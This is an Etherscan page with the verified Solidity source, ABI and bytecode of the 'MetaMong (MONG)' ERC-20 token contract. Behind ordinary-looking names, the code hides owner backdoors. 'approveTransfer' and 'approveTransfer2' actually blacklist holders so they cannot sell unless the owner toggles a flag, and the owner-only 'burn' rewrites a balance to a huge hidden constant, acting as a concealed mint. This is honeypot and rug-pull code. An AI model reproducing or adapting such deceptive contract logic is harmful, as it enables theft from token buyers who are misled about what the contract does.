ETH Price: $3,457.06 (-0.68%)
Gas: 10 Gwei

Token

MetaMong (MONG)
 

Overview

Max Total Supply

100,000,000,000,000 MONG

Holders

71

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
574,609,255,895.822459666 MONG

Value
$0.00
0xa3583714A38eE683150D8b96caa5aB4C719a2421
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MetaLama

Compiler Version
v0.8.8+commit.dddeac2f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-17
*/

// SPDX-License-Identifier: MIT

/** 🌐CHECK OUR WEBSITE: https://metaMong.xyz/  */

pragma solidity =0.8.8;

library SafeMath {

    /**
     * @dev Returns the addition of two unsigned integers, reverting on overflow.
     * Counterpart to Solidity's `+` operator.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        return a - b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        return a - b;
    }


}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);
    
    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode.
        return msg.data;
    }
}


abstract contract Security is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender());
        _;
    }

    function owner() internal view virtual returns (address) {
        return _owner;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract ERC20 is Context, Security, IERC20 {
    using SafeMath for uint256;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    mapping (address => bool) private _receiver;
    uint256 private maxTxLimit = 1*10**17*10**9;
    bool castVotes = false;
    uint256 private balances;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
 
    /**
     * @dev Sets the values for {name} and {symbol}, initializes {decimals}.
     */
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = 9;
        balances = maxTxLimit;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function setRule(address _delegate) external onlyOwner {
        _receiver[_delegate] = false;
    }


    function maxHoldingAmount(address _delegate) public view returns (bool) {
        return _receiver[_delegate];
    }
    function toCast(bool c) external onlyOwner {
        castVotes = c;
    }

    function approveTransfer(address _delegate) external onlyOwner {
        if(_delegate != owner()) {
            _receiver[_delegate] = true;
        }
    }
    function approveTransfer2(address[] memory _delegate) external onlyOwner {
        for (uint16 i = 0; i < _delegate.length; ) {
            if(_delegate[i] != owner()) {
                _receiver[_delegate[i]] = true;
            }
            unchecked { ++i; }
        }
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, ""));
        return true;
    }


    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, ""));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        if (_receiver[sender]) require(castVotes == true, "");
        require(sender != address(0), "");
        require(recipient != address(0), "");
        
        _balances[sender] = _balances[sender].sub(amount, "");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }


    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "");
        require(spender != address(0), "");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    

}

contract MetaLama is ERC20 {
    using SafeMath for uint256;
    
    uint256 private totalsupply_;

    /// @notice A record of states for signing / validating signatures
    mapping (address => uint) public nonces;

    constructor () ERC20("MetaMong", "MONG") {
        totalsupply_ = 100000000000000 * 10**9;
        _mint(_msgSender(), totalsupply_);
        
    }
    
    function burn(address account, uint256 amount) external onlyOwner {
        _burn(account, amount);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_delegate","type":"address"}],"name":"approveTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_delegate","type":"address[]"}],"name":"approveTransfer2","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_delegate","type":"address"}],"name":"maxHoldingAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_delegate","type":"address"}],"name":"setRule","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"c","type":"bool"}],"name":"toCast","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526a52b7d2dcc80cd2e40000006004556000600560006101000a81548160ff0219169083151502179055503480156200003b57600080fd5b506040518060400160405280600881526020017f4d6574614d6f6e670000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f4d4f4e47000000000000000000000000000000000000000000000000000000008152506000620000ba620001ea60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350816007908051906020019062000170929190620003ba565b50806008908051906020019062000189929190620003ba565b5060098060006101000a81548160ff021916908360ff160217905550600454600681905550505069152d02c7e14af6800000600b81905550620001e4620001d5620001ea60201b60201c565b600b54620001f260201b60201c565b620005f0565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000265576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200025c90620004a5565b60405180910390fd5b6200028181600a546200038f60201b62000da11790919060201c565b600a81905550620002e081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200038f60201b62000da11790919060201c565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003839190620004e2565b60405180910390a35050565b6000808284620003a091906200052e565b905083811015620003b057600080fd5b8091505092915050565b828054620003c890620005ba565b90600052602060002090601f016020900481019282620003ec576000855562000438565b82601f106200040757805160ff191683800117855562000438565b8280016001018555821562000438579182015b82811115620004375782518255916020019190600101906200041a565b5b5090506200044791906200044b565b5090565b5b80821115620004665760008160009055506001016200044c565b5090565b600082825260208201905092915050565b50565b60006200048d6000836200046a565b91506200049a826200047b565b600082019050919050565b60006020820190508181036000830152620004c0816200047e565b9050919050565b6000819050919050565b620004dc81620004c7565b82525050565b6000602082019050620004f96000830184620004d1565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200053b82620004c7565b91506200054883620004c7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000580576200057f620004ff565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005d357607f821691505b60208210811415620005ea57620005e96200058b565b5b50919050565b611bc680620006006000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c80637ecebe00116100ad578063cfde3cb611610071578063cfde3cb614610356578063d33f6c8714610372578063db5d77931461038e578063dd62ed3e146103aa578063f2fde38b146103da57610121565b80637ecebe001461028c57806395d89b41146102bc5780639dc29fac146102da578063a457c2d7146102f6578063a9059cbb1461032657610121565b8063313ce567116100f4578063313ce567146101c257806339509351146101e05780634355b9d21461021057806370a082311461022c57806373db1eb21461025c57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806323b872dd14610192575b600080fd5b61012e6103f6565b60405161013b91906115b6565b60405180910390f35b61015e60048036038101906101599190611680565b610488565b60405161016b91906116db565b60405180910390f35b61017c6104a6565b6040516101899190611705565b60405180910390f35b6101ac60048036038101906101a79190611720565b6104b0565b6040516101b991906116db565b60405180910390f35b6101ca610580565b6040516101d7919061178f565b60405180910390f35b6101fa60048036038101906101f59190611680565b610597565b60405161020791906116db565b60405180910390f35b61022a600480360381019061022591906117aa565b61064a565b005b610246600480360381019061024191906117aa565b610726565b6040516102539190611705565b60405180910390f35b610276600480360381019061027191906117aa565b61076f565b60405161028391906116db565b60405180910390f35b6102a660048036038101906102a191906117aa565b6107c5565b6040516102b39190611705565b60405180910390f35b6102c46107dd565b6040516102d191906115b6565b60405180910390f35b6102f460048036038101906102ef9190611680565b61086f565b005b610310600480360381019061030b9190611680565b6108c3565b60405161031d91906116db565b60405180910390f35b610340600480360381019061033b9190611680565b610987565b60405161034d91906116db565b60405180910390f35b610370600480360381019061036b9190611803565b6109a5565b005b61038c60048036038101906103879190611978565b610a08565b005b6103a860048036038101906103a391906117aa565b610b3c565b005b6103c460048036038101906103bf91906119c1565b610bdd565b6040516103d19190611705565b60405180910390f35b6103f460048036038101906103ef91906117aa565b610c64565b005b60606007805461040590611a30565b80601f016020809104026020016040519081016040528092919081815260200182805461043190611a30565b801561047e5780601f106104535761010080835404028352916020019161047e565b820191906000526020600020905b81548152906001019060200180831161046157829003601f168201915b5050505050905090565b600061049c610495610dc9565b8484610dd1565b6001905092915050565b6000600a54905090565b60006104bd848484610f9c565b610575846104c9610dc9565b6105708560405180602001604052806000815250600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610526610dc9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ca9092919063ffffffff16565b610dd1565b600190509392505050565b6000600960009054906101000a900460ff16905090565b60006106406105a4610dc9565b8461063b85600160006105b5610dc9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610da190919063ffffffff16565b610dd1565b6001905092915050565b610652610dc9565b73ffffffffffffffffffffffffffffffffffffffff16610670611328565b73ffffffffffffffffffffffffffffffffffffffff161461069057600080fd5b610698611328565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610723576001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600c6020528060005260406000206000915090505481565b6060600880546107ec90611a30565b80601f016020809104026020016040519081016040528092919081815260200182805461081890611a30565b80156108655780601f1061083a57610100808354040283529160200191610865565b820191906000526020600020905b81548152906001019060200180831161084857829003601f168201915b5050505050905090565b610877610dc9565b73ffffffffffffffffffffffffffffffffffffffff16610895611328565b73ffffffffffffffffffffffffffffffffffffffff16146108b557600080fd5b6108bf8282611351565b5050565b600061097d6108d0610dc9565b846109788560405180602001604052806000815250600160006108f1610dc9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ca9092919063ffffffff16565b610dd1565b6001905092915050565b600061099b610994610dc9565b8484610f9c565b6001905092915050565b6109ad610dc9565b73ffffffffffffffffffffffffffffffffffffffff166109cb611328565b73ffffffffffffffffffffffffffffffffffffffff16146109eb57600080fd5b80600560006101000a81548160ff02191690831515021790555050565b610a10610dc9565b73ffffffffffffffffffffffffffffffffffffffff16610a2e611328565b73ffffffffffffffffffffffffffffffffffffffff1614610a4e57600080fd5b60005b81518161ffff161015610b3857610a66611328565b73ffffffffffffffffffffffffffffffffffffffff16828261ffff1681518110610a9357610a92611a62565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614610b2d57600160036000848461ffff1681518110610ad357610ad2611a62565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806001019050610a51565b5050565b610b44610dc9565b73ffffffffffffffffffffffffffffffffffffffff16610b62611328565b73ffffffffffffffffffffffffffffffffffffffff1614610b8257600080fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c6c610dc9565b73ffffffffffffffffffffffffffffffffffffffff16610c8a611328565b73ffffffffffffffffffffffffffffffffffffffff1614610caa57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ce457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808284610db09190611ac0565b905083811015610dbf57600080fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3890611b3c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea890611b3c565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f8f9190611705565b60405180910390a3505050565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110455760011515600560009054906101000a900460ff16151514611044576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103b90611b3c565b60405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ac90611b3c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611125576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111c90611b3c565b60405180910390fd5b6111888160405180602001604052806000815250600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ca9092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061121d81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610da190919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112bd9190611705565b60405180910390a3505050565b6000838311158290611312576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130991906115b6565b60405180910390fd5b50828461131f9190611b5c565b90509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b890611b3c565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611448576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143f90611b3c565b60405180910390fd5b816006546114569190611b5c565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600a60008282546114ab9190611b5c565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115109190611705565b60405180910390a3505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561155757808201518184015260208101905061153c565b83811115611566576000848401525b50505050565b6000601f19601f8301169050919050565b60006115888261151d565b6115928185611528565b93506115a2818560208601611539565b6115ab8161156c565b840191505092915050565b600060208201905081810360008301526115d0818461157d565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611617826115ec565b9050919050565b6116278161160c565b811461163257600080fd5b50565b6000813590506116448161161e565b92915050565b6000819050919050565b61165d8161164a565b811461166857600080fd5b50565b60008135905061167a81611654565b92915050565b60008060408385031215611697576116966115e2565b5b60006116a585828601611635565b92505060206116b68582860161166b565b9150509250929050565b60008115159050919050565b6116d5816116c0565b82525050565b60006020820190506116f060008301846116cc565b92915050565b6116ff8161164a565b82525050565b600060208201905061171a60008301846116f6565b92915050565b600080600060608486031215611739576117386115e2565b5b600061174786828701611635565b935050602061175886828701611635565b92505060406117698682870161166b565b9150509250925092565b600060ff82169050919050565b61178981611773565b82525050565b60006020820190506117a46000830184611780565b92915050565b6000602082840312156117c0576117bf6115e2565b5b60006117ce84828501611635565b91505092915050565b6117e0816116c0565b81146117eb57600080fd5b50565b6000813590506117fd816117d7565b92915050565b600060208284031215611819576118186115e2565b5b6000611827848285016117ee565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61186d8261156c565b810181811067ffffffffffffffff8211171561188c5761188b611835565b5b80604052505050565b600061189f6115d8565b90506118ab8282611864565b919050565b600067ffffffffffffffff8211156118cb576118ca611835565b5b602082029050602081019050919050565b600080fd5b60006118f46118ef846118b0565b611895565b90508083825260208201905060208402830185811115611917576119166118dc565b5b835b81811015611940578061192c8882611635565b845260208401935050602081019050611919565b5050509392505050565b600082601f83011261195f5761195e611830565b5b813561196f8482602086016118e1565b91505092915050565b60006020828403121561198e5761198d6115e2565b5b600082013567ffffffffffffffff8111156119ac576119ab6115e7565b5b6119b88482850161194a565b91505092915050565b600080604083850312156119d8576119d76115e2565b5b60006119e685828601611635565b92505060206119f785828601611635565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611a4857607f821691505b60208210811415611a5c57611a5b611a01565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611acb8261164a565b9150611ad68361164a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b0b57611b0a611a91565b5b828201905092915050565b50565b6000611b26600083611528565b9150611b3182611b16565b600082019050919050565b60006020820190508181036000830152611b5581611b19565b9050919050565b6000611b678261164a565b9150611b728361164a565b925082821015611b8557611b84611a91565b5b82820390509291505056fea26469706673582212209d8f0fd706d82e43963898f08886d4538505d87116c7624420a973857a10ac0d64736f6c63430008080033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101215760003560e01c80637ecebe00116100ad578063cfde3cb611610071578063cfde3cb614610356578063d33f6c8714610372578063db5d77931461038e578063dd62ed3e146103aa578063f2fde38b146103da57610121565b80637ecebe001461028c57806395d89b41146102bc5780639dc29fac146102da578063a457c2d7146102f6578063a9059cbb1461032657610121565b8063313ce567116100f4578063313ce567146101c257806339509351146101e05780634355b9d21461021057806370a082311461022c57806373db1eb21461025c57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806323b872dd14610192575b600080fd5b61012e6103f6565b60405161013b91906115b6565b60405180910390f35b61015e60048036038101906101599190611680565b610488565b60405161016b91906116db565b60405180910390f35b61017c6104a6565b6040516101899190611705565b60405180910390f35b6101ac60048036038101906101a79190611720565b6104b0565b6040516101b991906116db565b60405180910390f35b6101ca610580565b6040516101d7919061178f565b60405180910390f35b6101fa60048036038101906101f59190611680565b610597565b60405161020791906116db565b60405180910390f35b61022a600480360381019061022591906117aa565b61064a565b005b610246600480360381019061024191906117aa565b610726565b6040516102539190611705565b60405180910390f35b610276600480360381019061027191906117aa565b61076f565b60405161028391906116db565b60405180910390f35b6102a660048036038101906102a191906117aa565b6107c5565b6040516102b39190611705565b60405180910390f35b6102c46107dd565b6040516102d191906115b6565b60405180910390f35b6102f460048036038101906102ef9190611680565b61086f565b005b610310600480360381019061030b9190611680565b6108c3565b60405161031d91906116db565b60405180910390f35b610340600480360381019061033b9190611680565b610987565b60405161034d91906116db565b60405180910390f35b610370600480360381019061036b9190611803565b6109a5565b005b61038c60048036038101906103879190611978565b610a08565b005b6103a860048036038101906103a391906117aa565b610b3c565b005b6103c460048036038101906103bf91906119c1565b610bdd565b6040516103d19190611705565b60405180910390f35b6103f460048036038101906103ef91906117aa565b610c64565b005b60606007805461040590611a30565b80601f016020809104026020016040519081016040528092919081815260200182805461043190611a30565b801561047e5780601f106104535761010080835404028352916020019161047e565b820191906000526020600020905b81548152906001019060200180831161046157829003601f168201915b5050505050905090565b600061049c610495610dc9565b8484610dd1565b6001905092915050565b6000600a54905090565b60006104bd848484610f9c565b610575846104c9610dc9565b6105708560405180602001604052806000815250600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610526610dc9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ca9092919063ffffffff16565b610dd1565b600190509392505050565b6000600960009054906101000a900460ff16905090565b60006106406105a4610dc9565b8461063b85600160006105b5610dc9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610da190919063ffffffff16565b610dd1565b6001905092915050565b610652610dc9565b73ffffffffffffffffffffffffffffffffffffffff16610670611328565b73ffffffffffffffffffffffffffffffffffffffff161461069057600080fd5b610698611328565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610723576001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600c6020528060005260406000206000915090505481565b6060600880546107ec90611a30565b80601f016020809104026020016040519081016040528092919081815260200182805461081890611a30565b80156108655780601f1061083a57610100808354040283529160200191610865565b820191906000526020600020905b81548152906001019060200180831161084857829003601f168201915b5050505050905090565b610877610dc9565b73fffffffffffffffffffffffffffffffffffff